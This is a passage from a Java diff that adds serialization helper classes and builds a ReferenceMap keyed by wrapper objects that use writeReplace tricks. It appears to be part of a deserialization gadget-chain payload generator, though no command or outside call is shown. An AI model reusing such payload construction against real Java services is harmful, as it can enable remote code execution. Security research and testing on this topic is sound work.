new Container(csls); + a1.add(c); + + a2.add(csls); + a2.add(set); + + ReferenceMap flat3map = new ReferenceMap(); + flat3map.put(new Container(a1), "asdf"); + flat3map.put(new Container(a2), "asdf"); + + return flat3map; + } + + static class Container implements Serializable { + + private Object o; + + public Container(Object o) { + this.o = o; + } + + private Object writeReplace() throws ObjectStreamException { + return o; + } + + } + + static class DummyComperator implements Comparator, Serializable { + + public int compare(Object arg0, Object arg1) { + // TODO Auto-generated method stub + return 0; + } + + private Object writeReplace() throws ObjectStreamException { + return null; + } + + } + +}